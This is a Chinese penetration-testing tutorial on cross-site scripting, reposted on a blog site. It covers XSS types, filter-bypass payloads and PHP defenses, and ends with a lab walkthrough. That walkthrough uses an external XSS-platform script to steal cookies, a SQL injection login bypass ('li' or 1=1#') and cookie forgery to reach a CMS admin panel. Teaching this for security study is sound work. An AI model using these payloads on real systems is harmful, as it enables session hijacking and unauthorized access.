渗透测试漏洞原理之---【XSS 跨站脚本攻击】

文章目录

  • 1、跨站 脚本攻击
      • 1.1、漏洞描述
      • 1.2、漏洞原理
      • 1.3、漏洞危害
      • 1.4、漏洞验证
      • 1.5、漏洞分类
        • 1.5.1、反射性XSS
        • 1.5.2、存储型XSS
        • 1.5.3、DOM型XSS
  • 2、XSS攻防
      • 2.1、XSS构造
        • 2.1.1、利用<>
        • 2.1.2、JavaScript伪协议
        • 2.1.3、时间响应
      • 2.2、XSS变形方式
        • 2.2.1、大小写转换
        • 2.2.2、关键字双写
        • 2.2.3、对伪协议进行转码
        • 2.2.4、插入其他编码
        • 2.2.5、引号的使用
        • 2.2.6、/ 代替空格
        • 2.2.7、拆分跨站
      • 2.3、XSS的防御
        • 2.3.1、输入过滤
        • 2.3.2、输出编码
        • 2.3.3、黑白名单策略
        • 2.3.4、防御DOM型XSS
        • 2.3.5、测试代码
  • 3、XSS攻防案例
      • 3.1、固定会话
      • 3.2、XSS 平台
      • 3.3、窃取
      • 3.4、欺骗
      • 3.5、影响
      • 3.6、防御

1、跨站 脚本攻击

1.1、漏洞描述

跨站点脚本(Cross Site Scripting, XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web 应用程序中执行恶意脚本。当web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。

跨站脚本攻击,XSS (Cross Site Scripting)。由于与CSS (Cascading Style Sheet) 重名,所以就更名为XSS。
XSS 作为OWASP TOP 10(2017)内容之一,主要使用JavaSript 来完成恶意攻击的行为,JS 可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS 攻击“想象”空间非常大。也就是说,JS 强大的灵活性和功能,为XSS 攻击提供了非常广阔的攻击面。

1.2、漏洞原理

XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。整个XSS 攻击过程,涉及三个角色:

服务器
攻击者
客户端浏览器用户(前端)

image-20230826185654661

搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险。
等待受害者访问被注入恶意代码的页面,很被动,盲打。
XSS 攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同,甚至于同一款浏览器,攻击效果都不一样。

1.3、漏洞危害

  • XSS 是利用JS 代码实现攻击,有很多危害:
  • 盗取各种用户账号;
  • 窃取用户Cookie 资料,冒充用户身份进入网站;
  • 劫持用户会话执行任意操作;
  • 刷流量,执行弹窗广告;
  • 传播蠕虫病毒
  • 。。。。。。

1.4、漏洞验证

可以使用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做POC(Proof of Concept)。验证XSS 漏洞存在的POC 如下:

<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>

1.5、漏洞分类

  • 反射性
  • 存储型
  • DOM型

1.5.1、反射性XSS

非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中,例如搜索框的反射型XSS。

注意到,反射型XSS 代码出现在keywords 参数中。

http://127.0.0.1/cms/search.php?
keywords=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&button=%E6%90%9C%E7%B4%A2

容易被发现,利用难度高,很多漏洞提交平台不收反射型XSS 漏洞。

1.5.2、存储型XSS

持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。

危害面比较广,漏洞提交平台会接收此类漏洞。

1.5.3、DOM型XSS

DOM 型XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行,并不会将payload 上传到服务器,这也使得DOM 型XSS 比较难以检测。

注意:

  • 修改DOM 树执行;
  • 采用# 号的方式,参数不会提交到服务器。

2、XSS攻防

2.1、XSS构造

2.1.1、利用<>

<img src = https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg>
<script>alert(/xss/)</script>

2.1.2、JavaScript伪协议

可以通过URL 载入资源的标签

伪协议不同于因特网上所真实存在的协议,如http://https://ftp://

而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:

我们可以在浏览地址栏里输入"javascript:alert('XSS');",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

<a href = javascript:alert(/xss/) >click me!</a>
<img src = "javascript:alert(/xss/)"> <!-- IE6 -->

XSS 攻击的是浏览器,受前端影响比较大。浏览器的类型,版本等因素都会影响XSS 的效果。

2.1.3、时间响应

Cross-site scripting (XSS) cheat sheet

事件类型说明
Keyboard 事件键盘事件
Mouse 事件鼠标事件
Media 事件由多媒体触发的事件
Form 事件HTML 表单内触发的事件
window 事件对window 对象触发的事件
<img src = '#' onmouseover = 'alert(/dont touch me!/)'><input type = 'text' onkeydown = 'alert(/xss/)'><input type = 'text' onkeyup = 'alert(/xss/)'><svg onload='alert(/xss/)'><input onfocus=alert(/xss/) autofocus

2.2、XSS变形方式

cms 网站搜索框存在反射性XSS 漏洞,POC 如下:

<script>alert(/xss/)</script>

image-20230826191143782

尝试在代码角度,对XSS 漏洞进行修复:修改 /cms/search.php 文件,对$_GET['keywords']进行过滤,代码如下:

$keyword = $_GET['keywords'];
// $keyword = str_replace("<script>", "", $keyword);
// $keyword = preg_replace("/<script>/i", "", $keyword);
$keyword = preg_replace("/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", $keyword);
// $keyword = str_replace("on", "o_n", $keyword);
$keyword = preg_replace("/on/i", "o_n", $keyword);
// $keyword = str_replace("<", "", $keyword);
// $keyword = str_replace(">", "", $keyword);
$keyword = htmlspecialchars($keyword);
echo $keyword;

2.2.1、大小写转换

浏览器对HTML 标签大小写不敏感。

<ScRiPt>alert(/xss/)</script>
<img ONerror = 'alert(/xss/)' src = "#"

2.2.2、关键字双写

绕过一次过滤

<scr<script>ipt>alert(/xss/)</script

2.2.3、对伪协议进行转码

HTML 编码:

字母ASCII码十进制编码十六进制编码
a97&#97;&#x61;
c99&#99;&#x63;
e101&#101;&#x65;
<a
href = '&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/xss/) 
>demo</a>

其他编码:

  • utf-8 编码
  • utf-7 编码

2.2.4、插入其他编码

可以将以下字符插入到任意位置

字符编码
Tab&#9;
换行&#10;
回车&#13;
<a href = 'j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>

将以下字符插入到头部位置

字符编码
SOH&#01;
STX&#02;
<a href = '&#01;&#02;j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>

2.2.5、引号的使用

HTML 语言对引号的使用要求不严格

  • 没有引号
  • 单引号
  • 双引号
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">

2.2.6、/ 代替空格

<Img/sRc='#'/OnErRoR='alert(/xss/)'>

2.2.7、拆分跨站

将一段JS 代码拆成多段。

<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script><script>eval(alert(/xss/))</script>

2.3、XSS的防御

XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果

2.3.1、输入过滤

永远不要相信用户的输入。

1、输入验证:对用户提交的信息进行“有效性”验证。

  • 仅接受指定长度;

  • 仅包含合法字符;

  • 仅接收指定范围;

  • 特殊的格式,例如,email、IP 地址。

2、数据清洗:过滤或净化掉有害的输入

<?php
// echo $_GET['keywords'];$keywords = $_GET['keywords'];
$keywords = strtolower($keywords);
$keywords = str_replace("on", "", $keywords);
$keywords = str_replace("<script>", "", $keywords);
$keywords = str_replace("<", "", $keywords);
$keywords = str_replace(">", "", $keywords); echo $keywords;
?>

2.3.2、输出编码

HTML 编码是HTML 实体编码。

$keywords = htmlspecialchars( $_GET[ 'keywords' ] );

PHP htmlspecialchars() 函数

2.3.3、黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容
  • 白名单:允许的内容

2.3.4、防御DOM型XSS

避免客户端文档重写,重定向或其他敏感操作

2.3.5、测试代码

<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

3、XSS攻防案例

3.1、固定会话

用户会话令牌利用Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。可以利用XSS 攻击窃取到浏览器里的Cookie 信息。

由于XXS 触发需要浏览器客户端用户(受害者)参与,攻击者不清楚何时何地会触发漏洞,这个过程一般被成为XSS 盲打。

3.2、XSS 平台

https://xss.pt/

image-20230826192625919

image-20230826192647445

image-20230826192711317

image-20230826192859117

3.3、窃取

从XSS平台里复制一段代码

<sCRiPt sRC=//0x.ax/Z2mua2></sCrIpT>

image-20230826193143382

image-20230826193151630

利用==万能用户名==的方式进入后台管理员界面,密码随意输入

li' or 1=1#

image-20230826193245925

image-20230826193307606

可以看到留言的消息

image-20230826193336199

然后去XSS平台上看看有没有窃取的Cookie信息

image-20230826193438840

cookie : username=li%27 or 1%3D1%23; userid=1

3.4、欺骗

来到登录界面,F12打开控制台

image-20230826193611677

document.cookie="userid=1" 
document.cookie="username=li%27 or 1%3D1%23" 

访问cms的admin目录

http://192.168.80.139/cms/admin/

成功利用Cookie欺骗进行登录

image-20230826193726725

3.5、影响

  • 黑客可以利用Cookie 信息,也就是身份凭据,登录后台;
  • 即使管理员注销登录,会话依然有效;
  • 即使管理员修改了密码,会话依然有效。

3.6、防御

  • 根据实际情况采用“单点登录”;
  • 采用Session 机制;
  • 设置token 值;
  • 对Cookie 数据,设置HttpOnly 属性;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/56048.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开源与专有软件:比较与对比

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

框架分析(6)-Ruby on Rails

框架分析&#xff08;6&#xff09;-Ruby on Rails 专栏介绍Ruby on Rails核心概念以及组件讲解MVC架构模式约定优于配置强大的ORM支持自动化测试丰富的插件生态系统RESTful路由安全性总结 优缺点优点快速开发简单易学MVC架构强大的ORM支持大量的插件和Gem支持 缺点性能问题学习…

【ubuntu】 DNS 设置工具 resolvectl

什么是 resolvectl “resolvectl” 是一个用于管理系统 DNS 解析配置的命令行工具。它是 systemd-resolved 服务的一部分&#xff0c;该服务是在许多基于 Systemd 的 Linux 发行版中用于管理网络配置和 DNS 解析的系统服务。 通过 resolvectl 命令&#xff0c;可以查看当前系…

SpringAOP详解(上)

当需要在方法前后做一些操作就需要借助动态代理来实现 一、动态代理实现方法 1、jdk自带实现方式 jdk实现代理是被代理类实现接口的方式 public interface UserInterface {void test(); }public class UserService implements UserInterface {public void test() {System.o…

spring boot集成redis

第一步&#xff1a;添加maven依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></dependency> 第二步&#xff1a;配置applicaiton.properties文件 #redis的ip地址…

PHP聚合支付网站源码/对接十多个支付接口 第三方/第四方支付/系统源码

PHP聚合支付网站源码/对接十多个支付接口 第三方/第四方支付/系统源码 内附数十个支付接口代码文件。 下载地址&#xff1a;https://bbs.csdn.net/topics/616764485

vue+file-saver+xlsx+htmlToPdf+jspdf实现本地导出PDF和Excel

页面效果如下&#xff08;echarts图表按需添加&#xff0c;以下代码中没有&#xff09; 1、安装插件 npm install xlsx --save npm install file-saver --save npm install html2canvas --save npm install jspdf --save2、main.js引入html2canvas import htmlToPdf from …

快速学会创建uni-app项目并了解pages.json文件

(创作不易&#xff0c;感谢有你&#xff0c;你的支持&#xff0c;就是我前行的最大动力&#xff0c;如果看完对你有帮助&#xff0c;请留下您的足迹&#xff09; 目录 前言 创建 uni-app 项目 通过 HBuilderX 创建 pages.json pages style globalStyle tabBar 前言…

AI时代,程序员需要焦虑吗?

原文来自 微信公众号"互联网技术人进阶之路". 目录 前言一、程序员会被 AI 取代么&#xff1f;二、服务端开发尚难被 AI 取代三、服务端开发何去何从&#xff1f;四、业界首部体系化、全景式解读服务端开发的著作第一部分&#xff1a;服务端开发的技术和方法第二部分…

tomcat更改端口号和隐藏端口号

因为默认端口:8080不会自动隐藏&#xff0c;因此为了更显格调需要将其改为:80 进入tomcat的server文件 将其改为80&#xff0c;之后将tomcat重新启动即可 tomcat启动流程 [rootshang ~]# cd /usr/local/tomcat/apache-tomcat-8.5.92 [rootshang apache-tomcat-8.5.92]# cd b…

C++学习笔记总结练习:new和delete使用及讲解

C中的new、operator new与placement new 参考文献 https://www.cnblogs.com/luxiaoxun/archive/2012/08/10/2631812.htmlhttps://blog.csdn.net/linuxheik/article/details/80449059 new operator/delete operator就是new和delete操作符。而operator new/operator delete是全局…

使用Jetpack Compose构建可折叠Card

使用Jetpack Compose构建可折叠Card 为何在Android应用开发中使用扩展卡片 扩展卡片在Android应用开发中广受欢迎&#xff0c;它们可以让开发者打造干净紧凑的用户界面&#xff0c;同时可以轻松展开&#xff0c;显示额外的内容。 通过巧妙地使用扩展卡片&#xff0c;开发者可…

彩纸屋开源定制少儿编程培训管理系统源码/在线培训系统源码精准化营销

彩纸屋是全国首家提供scratch开源定制和少儿编程培训管理系统源代码的服务商&#xff0c;彩纸屋提供的scratch培训管理系统可开源定制&#xff0c;方便用户二次开发&#xff0c;公司服务客户遍布全国各地&#xff0c;旗下方格侠系统可进行在线演示操作。 少儿编程源码特点&…

情感书单视频做怎么制作?几个步骤轻松生成

在当今数字化的时代&#xff0c;制作情感书单视频已经成为了一种流行的方式来分享个人阅读心得。然而&#xff0c;制作这样的视频并不是一件简单的事情。本文将介绍制作情感书单视频的步骤&#xff0c;并讨论需要注意的事项。 准备工作 在制作情感书单视频之前&#xff0c;最好…

剑指Offer62.圆圈中最后剩下的数字 C++

1、题目描述 0,1,,n-1这n个数字排成一个圆圈&#xff0c;从数字0开始&#xff0c;每次从这个圆圈里删除第m个数字&#xff08;删除后从下一个数字开始计数&#xff09;。求出这个圆圈里剩下的最后一个数字。 例如&#xff0c;0、1、2、3、4这5个数字组成一个圆圈&#xff0c;从…

使用信号处理算法过滤加速度数据并将其转换为速度和位移研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

ARTS挑战第二周-T:PHP数组相关操作

array_combine() 函数 合并两个数组 array_combine()传入2个参数&#xff0c;使用方法如下 array_combine(array $keys, array $values): array 返回一个 array&#xff0c;用来自 keys 数组的值作为键名&#xff0c;来自 values 数组的值作为相应的值。 array_key_exists() 函…

网工笔记整理:IP地址常见配置错误

我们在做实验配置IP地址的时候&#xff0c;经常会碰到各种各样的问题导致配置不成功。下面&#xff0c;整理了一些关于在接口下配置IP地址不成功的可能原因。 故障分析&#xff1a;接口下配置IP地址过程中出现错误&#xff0c;导致IP地址配置不成功。 错误提示信息及对应的故…

基于亚马逊云科技无服务器服务快速搭建电商平台——性能篇

使用 Serverless 构建独立站的优势 在传统架构模式下&#xff0c;如果需要进行电商大促需要提前预置计算资源以支撑高并发访问&#xff0c;会造成计算资源浪费并且增加运维工作量。本文介绍一种新的部署方式&#xff0c;将 WordPress 和 WooCommerce 部署在 Amazon Lambda 中。…

操作员管理 微人事 项目 SpringBooot + Vue 前后端分离

操作员管理接口设计 HrController RestController RequestMapping("/system/hr") public class HrController {AutowiredHrService hrService;GetMapping("/")public List<Hr> getAllHr(){return hrService.getAllHr();}}HrService public List<…